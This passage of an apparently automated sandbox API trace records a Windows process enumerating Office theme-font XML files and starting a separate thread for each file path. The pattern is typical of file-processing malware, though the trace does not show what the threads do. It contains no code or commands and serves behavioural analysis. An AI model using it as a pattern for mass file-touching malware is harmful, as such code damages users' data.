lpThreadId=0x0) returned 0x13dc [0097.974] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0097.974] wcscmp (_String1="Office 2.xml", _String2=".") returned 1 [0097.974] wcscmp (_String1="Office 2.xml", _String2="..") returned 1 [0097.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202acdc0 [0097.974] wcscpy (in: _Dest=0x202acdc0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.974] wcscat (in: _Dest=0x202acdc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.974] wcscat (in: _Dest=0x202acdc0, _Source="Office 2.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" [0097.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202acdc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e0 [0097.975] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="OFFICE~3.XML")) returned 1 [0097.975] wcscmp (_String1="Office Classic 2.xml", _String2=".") returned 1 [0097.975] wcscmp (_String1="Office Classic 2.xml", _String2="..") returned 1 [0097.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106dc0 [0097.975] wcscpy (in: _Dest=0x106dc0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.975] wcscat (in: _Dest=0x106dc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.975] wcscat (in: _Dest=0x106dc0, _Source="Office Classic 2.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" [0097.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e4 [0097.976] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0097.976] wcscmp (_String1="Office Classic.xml", _String2=".") returned 1 [0097.976] wcscmp (_String1="Office Classic.xml", _String2="..") returned 1 [0097.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ace70 [0097.976] wcscpy (in: _Dest=0x202ace70, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.977] wcscat (in: _Dest=0x202ace70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.977] wcscat (in: _Dest=0x202ace70, _Source="Office Classic.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" [0097.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ace70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e8 [0097.977] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0097.977] wcscmp (_String1="Opulent.xml", _String2=".") returned 1 [0097.977] wcscmp (_String1="Opulent.xml", _String2="..") returned 1 [0097.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202acf20 [0097.978] wcscpy (in: _Dest=0x202acf20, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.978] wcscat (in: _Dest=0x202acf20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.978] wcscat (in: _Dest=0x202acf20, _Source="Opulent.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" [0097.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202acf20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13ec [0097.978] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0097.978] wcscmp (_String1="Oriel.xml", _String2=".") returned 1 [0097.978] wcscmp (_String1="Oriel.xml", _String2="..") returned 1 [0097.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b00b0 [0097.979] wcscpy (in: _Dest=0x202b00b0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.979] wcscat (in: _Dest=0x202b00b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.979] wcscat (in: _Dest=0x202b00b0, _Source="Oriel.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" [0097.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b00b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f0 [0097.980] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0097.980] wcscmp (_String1="Origin.xml", _String2=".") returned 1 [0097.980] wcscmp (_String1="Origin.xml", _String2="..") returned 1 [0097.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b0150 [0097.980] wcscpy (in: _Dest=0x202b0150, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.980] wcscat (in: _Dest=0x202b0150, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.980] wcscat (in: _Dest=0x202b0150, _Source="Origin.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" [0097.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f4 [0097.981] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0097.981] wcscmp (_String1="Paper.xml", _String2=".") returned 1 [0097.981] wcscmp (_String1="Paper.xml", _String2="..") returned 1 [0097.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b01f0 [0097.981] wcscpy (in: _Dest=0x202b01f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.981] wcscat (in: _Dest=0x202b01f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.981] wcscat (in: _Dest=0x202b01f0, _Source="Paper.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" [0097.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b01f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f8 [0097.982] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0097.982] wcscmp (_String1="Perspective.xml", _String2=".") returned 1 [0097.982] wcscmp (_String1="Perspective.xml", _String2="..") returned 1 [0097.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202acfd0 [0097.982] wcscpy (in: _Dest=0x202acfd0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.982] wcscat (in: _Dest=0x202acfd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.982] wcscat (in: _Dest=0x202acfd0, _Source="Perspective.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" [0097.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202acfd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13fc [0097.983] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0097.984] wcscmp (_String1="Pushpin.xml", _String2=".") returned 1 [0097.984] wcscmp (_String1="Pushpin.xml", _String2="..") returned 1 [0097.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad080 [0097.984] wcscpy (in: _Dest=0x202ad080, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.984] wcscat (in: _Dest=0x202ad080, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.984] wcscat (in: _Dest=0x202ad080, _Source="Pushpin.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" [0097.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1404 [0097.986] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0097.986] wcscmp (_String1="Slipstream.xml", _String2=".") returned 1 [0097.986] wcscmp (_String1="Slipstream.xml", _String2="..") returned 1 [0097.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ad130 [0097.987] wcscpy (in: _Dest=0x202ad130, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.987] wcscat (in: _Dest=0x202ad130, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.987] wcscat (in: _Dest=0x202ad130, _Source="Slipstream.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" [0097.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1408 [0097.988] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0097.988] wcscmp (_String1="Solstice.xml", _String2=".") returned 1 [0097.988] wcscmp (_String1="Solstice.xml", _String2="..") returned 1 [0097.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ad1e0 [0097.988] wcscpy (in: _Dest=0x202ad1e0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.988] wcscat (in: _Dest=0x202ad1e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.988] wcscat (in: _Dest=0x202ad1e0, _Source="Solstice.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" [0097.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140c [0097.989] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0097.989] wcscmp (_String1="Technic.xml", _String2=".") returned 1 [0097.989] wcscmp (_String1="Technic.xml", _String2="..") returned 1 [0097.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad290 [0097.989] wcscpy (in: _Dest=0x202ad290, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.989] wcscat (in: _Dest=0x202ad290, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.989] wcscat (in: _Dest=0x202ad290, _Source="Technic.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" [0097.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1410 [0097.990] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0097.990] wcscmp (_String1="Thatch.xml", _String2=".") returned 1 [0097.990] wcscmp (_String1="Thatch.xml", _String2="..") returned 1 [0097.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b0290 [0097.990] wcscpy (in: _Dest=0x202b0290, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.990] wcscat (in: _Dest=0x202b0290, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.990] wcscat (in: _Dest=0x202b0290, _Source="Thatch.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" [0097.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1414 [0097.991] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0097.991] wcscmp (_String1="Trek.xml", _String2=".") returned 1 [0097.991] wcscmp (_String1="Trek.xml", _String2="..") returned 1 [0097.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b0330 [0097.991] wcscpy (in: _Dest=0x202b0330, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.991] wcscat (in: _Dest=0x202b0330, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.992] wcscat (in: _Dest=0x202b0330, _Source="Trek.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" [0097.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1418 [0097.992] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0097.992] wcscmp (_String1="Urban.xml", _String2=".") returned 1 [0097.992] wcscmp (_String1="Urban.xml", _String2="..") returned 1 [0097.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b03d0 [0097.993] wcscpy (in: _Dest=0x202b03d0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.993] wcscat (in: _Dest=0x202b03d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.993] wcscat (in: _Dest=0x202b03d0, _Source="Urban.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" [0097.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b03d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x141c [0097.994] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0097.994] wcscmp (_String1="Verve.xml", _String2=".") returned 1 [0097.994] wcscmp (_String1="Verve.xml", _String2="..") returned 1 